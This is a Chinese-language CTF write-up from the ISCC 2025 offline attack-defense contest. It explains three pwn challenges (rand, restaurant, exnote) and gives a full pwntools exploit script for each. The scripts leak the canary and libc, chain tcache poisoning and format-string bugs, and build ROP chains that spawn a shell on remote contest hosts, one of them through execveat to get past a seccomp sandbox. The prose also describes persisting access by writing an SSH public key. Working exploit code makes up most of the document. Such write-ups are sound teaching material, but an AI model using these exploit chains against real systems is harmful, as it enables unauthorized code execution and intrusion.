[ISCC 2025 线下博弈对抗赛] Pwn writeup

本文总阅读量

私地 rand

题目解析

开始初始化的时候给了随机数,但是没有摇种子,导致rand()函数生成的序列都是固定的,一开始会固定循环五次

之后malloc()函数申请的堆块size也是固定的,为0x55,后边有一个判断,直接申请一模一样的size即可,然后写入规定的字符串就行

然后有两个栈溢出和一个输出,题目开了canary,我们可以通过溢出写一个字节的canary(canary最后一个字节总是0x00),就可以把canary输出了

拿到了canary就可以构造ROP链了,直接ret2libc就行了

哦对了,题目当时没有给libc,线下断网需要下好全版本的libc。(其实可以直接猜高地的libc,当时直接用的高地libc 2.31直接就通了)

Fix的话把seed判断语句改了就行了

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
from pwn import *
from ctypes import *
# from LibcSearcher import *
# from pwnlib.dynelf import ctypes
# from pwnlib.fmtstr import make_atoms_simple

context(arch="amd64", os="linux", log_level="debug")
# Now no need tmux !
# context.terminal = ["tmux", "split", "-h"]
context.terminal = ["kitty"]
binary_path = "./bin/rand"
libc_path = "./restaurant/libc6_2.31-0ubuntu9.17_amd64.so"
ld_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)
libc_dll = cdll.LoadLibrary(libc_path)


local = 1

ip, port = "192.168.52.77", 10002
# ip, port = "chall.pwnable.tw", 1
if local == 0:
p = process(binary_path)
def dbg(p): return gdb.attach(p)
else:
p = remote(ip, port)
# p = remote("pwn.challenge.ctf.show",port)
# p = remote("node5.buuoj.cn", port)
def dbg(_): return None


def ls(addr): return log.success(hex(addr))
def recv(char): return u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


sendfile = """
xchg rsi, rax;
xor rdi, rdi;
inc rdi;
push 0;
mov rdx, rsp;
push 0x50;
pop r10;
push 40;
pop rax;
syscall;
"""


"""
def search(func_name: str, func_addr: int):
log.success(func_name + ": " + hex(func_addr))
libc = LibcSearcher(func_name, func_addr)
offset = func_addr - libc.dump(func_name)
binsh = offset + libc.dump("str_bin_sh")
system = offset + libc.dump("system")
log.success("system: " + hex(system))
log.success("binsh: " + hex(binsh))
return (system, binsh)
"""


def search_from_libc(func_name: str, func_addr: int, libc=libc):
log.success(func_name + ": " + hex(func_addr))
offset = func_addr - libc.symbols[func_name]
binsh = offset + libc.search(b"/bin/sh").__next__()
system = offset + libc.symbols["system"]
log.success("offset: " + hex(offset))
return (system, binsh)


csu_start = 0x0


def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
end = start + 0x1A
payload = p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
if mode == 0:
payload += p64(r12) # r12
payload += p64(edi) # edi
payload += p64(rsi) # rsi
payload += p64(rdx) # rdx
else:
payload += p64(edi) # r12
payload += p64(rsi) # edi
payload += p64(rdx) # rsi
payload += p64(r12) # rdx
payload += p64(start)
payload += b"a" * 56
return payload


def sig(rax=0, rdi=0, rsi=0, rdx=0, rsp=0, rip=0):
sigframe = SigreturnFrame()
sigframe.rax = rax
sigframe.rdi = rdi # "/bin/sh" 's addr
sigframe.rsi = rsi
sigframe.rdx = rdx
sigframe.rsp = rsp
sigframe.rip = rip
return bytes(sigframe)


def io_file(flag, read_ptr, read_end, wdata, mode, vtable):
return flat(
{
0x0: flag,
0x8: p64(read_ptr),
0x10: p64(read_end),
0xA0: p64(wdata),
0xC0: p64(mode),
0xD8: p64(vtable),
},
filler=b"\x00",
)


"""
amd64:

0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
"""


def house_of_apple2(_IO_wfile_overflow, base_addr, func):
# must set mode=1 when use stderr
fake_io = flat(
{
0x0: b" sh;",
0xA0: p64(base_addr + 0xE0),
0xD8: p64(_IO_wfile_overflow - 0x18),
},
filler=b"\x00",
)
fake_wdata = flat(
{
0x18: p64(0), # _IO_write_base
0x30: p64(0), # _IO_buf_base
0xE0: p64(base_addr + 0x1D0) + p64(0), # padding
},
filler=b"\x00",
)
fake_wvtable = flat(
{
0x68: p64(func),
},
filler=b"\x00",
)
"""
b _IO_wdoallocbuf
assert len == 0x240
"""
return fake_io + fake_wdata + fake_wvtable


# =================start=================#


pop_rdi = 0x0000000000401703

puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]

p.sendafter(b"number:", b"2")
p.sendafter(b"number:", b"2")
p.sendafter(b"number:", b"2")
p.sendafter(b"number:", b"2")
p.sendafter(b"number:", b"2")

p.sendlineafter(b" size:\n", str(0x55).encode())

p.sendlineafter(b"content:\n", b"BossDontNeedKey")

payload = b"a" * 0x28 + b'|'
p.sendafter(b"tonight?\n\n", payload)

p.recvuntil(b"|")

canary = u64(p.recvn(7).rjust(8, b'\x00'))

main = 0x0401624

payload = b"a" * 0x28 + p64(canary) + p64(0x404700)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(pop_rdi + 1)
payload += p64(main)

p.sendafter(b"choice!\n", payload)
p.recvline()

libc_base = recv(b'\n') - libc.sym["puts"]
ls(libc_base)

dbg(p)
payload = b"a" * 0x28
p.sendafter(b"tonight?\n\n", payload)


binsh = libc_base + libc.search(b"/bin/sh").__next__()
system = libc_base + libc.symbols["system"]

payload = b"a" * 0x28 + p64(canary) + p64(0)
payload += p64(0x000000000040101a)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

p.sendafter(b"choice!\n", payload)
p.interactive()

ls(canary)

孩子们别怕,高地人来了

转发二位高人,你也能AK高地题

高地1 restaurant

题目解析

开始的时候有一个异或加密,写个脚本跑一下出来的用户名是”guest”,密码是”12345”

之后有一个菜单堆,发现它在释放堆块过后不会把他们标记为非法,因此我们有很强大的UAF

中版本libc,我们可以通过泄漏libc基地址和堆地址配合tcache投毒来实现任意读和任意写

这里采用的方法是任意读environ获得栈地址,再往栈上任意写ROP链即可

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
from pwn import *
from ctypes import *
# from LibcSearcher import *
# from pwnlib.dynelf import ctypes
# from pwnlib.fmtstr import make_atoms_simple

context(arch="amd64", os="linux", log_level="debug")
# Now no need tmux !
# context.terminal = ["tmux", "split", "-h"]
context.terminal = ["kitty"]
binary_path = "./restaurant/restaurant"
libc_path = "./restaurant/libc6_2.31-0ubuntu9.17_amd64.so"
ld_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)
libc_dll = cdll.LoadLibrary(libc_path)


local = 1

ip, port = "192.168.30.37", 10003
# ip, port = "chall.pwnable.tw", 1
if local == 0:
p = process(binary_path)
def dbg(p): return gdb.attach(p)
else:
p = remote(ip, port)
# p = remote("pwn.challenge.ctf.show",port)
# p = remote("node5.buuoj.cn", port)
def dbg(_): return None


def ls(addr): return log.success(hex(addr))
def recv(char): return u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


sendfile = """
xchg rsi, rax;
xor rdi, rdi;
inc rdi;
push 0;
mov rdx, rsp;
push 0x50;
pop r10;
push 40;
pop rax;
syscall;
"""


"""
def search(func_name: str, func_addr: int):
log.success(func_name + ": " + hex(func_addr))
libc = LibcSearcher(func_name, func_addr)
offset = func_addr - libc.dump(func_name)
binsh = offset + libc.dump("str_bin_sh")
system = offset + libc.dump("system")
log.success("system: " + hex(system))
log.success("binsh: " + hex(binsh))
return (system, binsh)
"""


def search_from_libc(func_name: str, func_addr: int, libc=libc):
log.success(func_name + ": " + hex(func_addr))
offset = func_addr - libc.symbols[func_name]
binsh = offset + libc.search(b"/bin/sh").__next__()
system = offset + libc.symbols["system"]
log.success("offset: " + hex(offset))
return (system, binsh)


csu_start = 0x0


def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
end = start + 0x1A
payload = p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
if mode == 0:
payload += p64(r12) # r12
payload += p64(edi) # edi
payload += p64(rsi) # rsi
payload += p64(rdx) # rdx
else:
payload += p64(edi) # r12
payload += p64(rsi) # edi
payload += p64(rdx) # rsi
payload += p64(r12) # rdx
payload += p64(start)
payload += b"a" * 56
return payload


def sig(rax=0, rdi=0, rsi=0, rdx=0, rsp=0, rip=0):
sigframe = SigreturnFrame()
sigframe.rax = rax
sigframe.rdi = rdi # "/bin/sh" 's addr
sigframe.rsi = rsi
sigframe.rdx = rdx
sigframe.rsp = rsp
sigframe.rip = rip
return bytes(sigframe)


def io_file(flag, read_ptr, read_end, wdata, mode, vtable):
return flat(
{
0x0: flag,
0x8: p64(read_ptr),
0x10: p64(read_end),
0xA0: p64(wdata),
0xC0: p64(mode),
0xD8: p64(vtable),
},
filler=b"\x00",
)


"""
amd64:

0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
"""


def house_of_apple2(_IO_wfile_overflow, base_addr, func):
# must set mode=1 when use stderr
fake_io = flat(
{
0x0: b" sh;",
0xA0: p64(base_addr + 0xE0),
0xD8: p64(_IO_wfile_overflow - 0x18),
},
filler=b"\x00",
)
fake_wdata = flat(
{
0x18: p64(0), # _IO_write_base
0x30: p64(0), # _IO_buf_base
0xE0: p64(base_addr + 0x1D0) + p64(0), # padding
},
filler=b"\x00",
)
fake_wvtable = flat(
{
0x68: p64(func),
},
filler=b"\x00",
)
"""
b _IO_wdoallocbuf
assert len == 0x240
"""
return fake_io + fake_wdata + fake_wvtable


# =================start=================#
#
#
def add(idx, size):
p.sendlineafter(b"/Desktop#\n", b"1")
p.sendlineafter(b"number:\n", str(idx).encode())
p.sendlineafter(b"length:\n", str(size).encode())


def delete(idx):
p.sendlineafter(b"/Desktop#\n", b"2")
p.sendlineafter(b"number:\n", str(idx).encode())


def edit(idx, size, content):
p.sendlineafter(b"/Desktop#\n", b"3")
p.sendlineafter(b"number:\n", str(idx).encode())
p.sendlineafter(b"length:\n", str(size).encode())
p.sendafter(b"name:\n", content)


def show(idx):
p.sendlineafter(b"/Desktop#\n", b"4")
p.sendlineafter(b"number:\n", str(idx).encode())


p.sendlineafter(b"Username:", b"guest")
p.sendlineafter(b"Password:", b"12345")

add(0x0, 0x440)
add(0x1, 0x20)
delete(0x0)
show(0x0)

# libc_base = u64(p.recvuntil(b"\n=", drop=True).ljust(0x8, b"\x00"))

libc_base = recv(b"\n") - 0x1ecbe0
pop_rdi = 0x0000000000023b6a + libc_base
ret = 0x0000000000022679 + libc_base
system = libc_base + libc.sym["system"]
binsh = libc_base + libc.search(b"/bin/sh").__next__()

environ = libc_base + libc.sym["environ"]

add(0x2, 0x80)
add(0x3, 0x80)
delete(0x2)
delete(0x3)

payload = p64(environ)
edit(0x3, 0x100, payload)

add(0x4, 0x80)
add(0x5, 0x80)
show(0x5)

stack_base = recv(b"\n")
ret_addr = stack_base - 0x120

add(0x6, 0x90)
add(0x7, 0x90)
delete(0x6)
delete(0x7)

payload = p64(ret_addr)
edit(0x7, 0x100, payload)

add(0x8, 0x90)
add(0x9, 0x90)

payload = p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

dbg(p)
edit(0x9, 0x100, payload)

ls(libc_base)
ls(stack_base)
'''
0x0000000000023b6a: pop rdi; ret;
0x0000000000022679: ret;
'''


# p.sendlineafter(b"/Desktop#\n", b"1")
# payload = b""
# p.send(payload)


p.interactive()

高地2 exnote

题目解析

开始的时候给了一个沙箱,ban掉了一个execve系统调用,不过我们可以用execveat来执行命令

之后给了三个操作。一开始没看出来Exnote()函数可以绕过检测写栈溢出,后来看提示发现了,可以通过这个配合格式化字符串泄漏程序基地址和canary

之后结合栈溢出打ret2libc即可。注意开了沙箱,所以我们可以直接execveat /bin/sh来拿shell

这种方法拿下的shell功能是残缺的,只能执行内置命令,不过这种情况下读写文件都是没问题的

不过和平常pwn不一样的是,ISCC线下赛需要我们执行getflaghereiam -t <签名>来告知机器已被拿下,所以之后我用的方法是用echo内置命令写入ssh公钥然后ssh直连上去拿到flag的

也可以构造orw ROP链打

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
from pwn import *
from ctypes import *
# from LibcSearcher import *
# from pwnlib.dynelf import ctypes
# from pwnlib.fmtstr import make_atoms_simple

context(arch="amd64", os="linux", log_level="debug")
# Now no need tmux !
# context.terminal = ["tmux", "split", "-h"]
context.terminal = ["kitty"]
binary_path = "./note/exnoted"
libc_path = "./note/libc.so.6"
ld_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)


local = 1

ip, port = "192.168.30.43", 10001
# ip, port = "chall.pwnable.tw", 1
if local == 0:
p = process(binary_path)
def dbg(p): return gdb.attach(p)
else:
p = remote(ip, port)
# p = remote("pwn.challenge.ctf.show",port)
# p = remote("node5.buuoj.cn", port)
def dbg(_): return None


def ls(addr): return print(hex(addr))
def recv(char): return u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


sendfile = """
xchg rsi, rax;
xor rdi, rdi;
inc rdi;
push 0;
mov rdx, rsp;
push 0x50;
pop r10;
push 40;
pop rax;
syscall;
"""


"""
def search(func_name: str, func_addr: int):
log.success(func_name + ": " + hex(func_addr))
libc = LibcSearcher(func_name, func_addr)
offset = func_addr - libc.dump(func_name)
binsh = offset + libc.dump("str_bin_sh")
system = offset + libc.dump("system")
log.success("system: " + hex(system))
log.success("binsh: " + hex(binsh))
return (system, binsh)
"""


def search_from_libc(func_name: str, func_addr: int, libc=libc):
log.success(func_name + ": " + hex(func_addr))
offset = func_addr - libc.symbols[func_name]
binsh = offset + libc.search(b"/bin/sh").__next__()
system = offset + libc.symbols["system"]
log.success("offset: " + hex(offset))
return (system, binsh)


csu_start = 0x0


def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
end = start + 0x1A
payload = p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
if mode == 0:
payload += p64(r12) # r12
payload += p64(edi) # edi
payload += p64(rsi) # rsi
payload += p64(rdx) # rdx
else:
payload += p64(edi) # r12
payload += p64(rsi) # edi
payload += p64(rdx) # rsi
payload += p64(r12) # rdx
payload += p64(start)
payload += b"a" * 56
return payload


def sig(rax=0, rdi=0, rsi=0, rdx=0, rsp=0, rip=0):
sigframe = SigreturnFrame()
sigframe.rax = rax
sigframe.rdi = rdi # "/bin/sh" 's addr
sigframe.rsi = rsi
sigframe.rdx = rdx
sigframe.rsp = rsp
sigframe.rip = rip
return bytes(sigframe)


def io_file(flag, read_ptr, read_end, wdata, mode, vtable):
return flat(
{
0x0: flag,
0x8: p64(read_ptr),
0x10: p64(read_end),
0xA0: p64(wdata),
0xC0: p64(mode),
0xD8: p64(vtable),
},
filler=b"\x00",
)


"""
amd64:

0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
"""


def house_of_apple2(_IO_wfile_overflow, base_addr, func):
# must set mode=1 when use stderr
fake_io = flat(
{
0x0: b" sh;",
0xA0: p64(base_addr + 0xE0),
0xD8: p64(_IO_wfile_overflow - 0x18),
},
filler=b"\x00",
)
fake_wdata = flat(
{
0x18: p64(0), # _IO_write_base
0x30: p64(0), # _IO_buf_base
0xE0: p64(base_addr + 0x1D0) + p64(0), # padding
},
filler=b"\x00",
)
fake_wvtable = flat(
{
0x68: p64(func),
},
filler=b"\x00",
)
"""
b _IO_wdoallocbuf
assert len == 0x240
"""
return fake_io + fake_wdata + fake_wvtable


# =================start=================#


payload = b""

p.sendlineafter(b"> \n", b"1")
p.sendlineafter(b"length:\n", str(0x8000).encode())
p.sendafter(b"note:\n", b"%7$p|%9$p|")

p.sendlineafter(b"> \n", b"2")

p.recvuntil(b"0x")

elf_base = int(p.recvuntil(b"|0x", drop=True), 16) - 0x1601
canary = int(p.recvuntil(b"|", drop=True), 16)

pop_rdi = 0x000000000000132a + elf_base
pop_rsi = 0x000000000000132c + elf_base
pop_rdx = 0x000000000000132e + elf_base

puts_got = elf.got["puts"] + elf_base
puts_plt = elf.plt["puts"] + elf_base
exnote = elf.sym["Exnote"] + elf_base
log = elf.sym["log_note"] + elf_base

# p.sendlineafter(b"> \n", b"1")
# p.sendlineafter(b"length:\n", str(0x8000).encode())
# p.sendafter(b"note:\n", b"/bin/sh\x00")


payload = b"a" * 0x28
payload += p64(canary)
payload += p64(elf_base + 0x4800)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(log)


p.sendlineafter(b"> \n", b"3")

p.sendafter(b"note:\n", payload)

libc_base = recv(b'\n') - libc.sym["puts"]

open = libc_base + libc.sym["open"]
read = libc_base + libc.sym["read"]
syscall = libc_base + 0x0000000000091316
pop_rax = libc_base + 0x0000000000045eb0
pop_r8 = 0x00000000001659e6 + libc_base


ls(elf_base)
ls(libc_base)
ls(canary)


p.sendlineafter(b"length:\n", str(0x8000).encode())

payload = b"a" * 12
payload += p64(canary)
payload += p64(elf_base + 0x4800)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(elf_base + 0x4100)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(read)

payload += p64(pop_rdi)
payload += p64((-100) & 0xffffffff_ffffffff)
payload += p64(pop_rsi)
payload += p64(elf_base + 0x4100)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(pop_r8)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(322)
payload += p64(syscall)
p.sendafter(b"note:\n", payload)

sleep(2)

dbg(p)
# p.send(b"/usr/bin/getflag\x00")
p.send(b"/bin/sh")

p.interactive()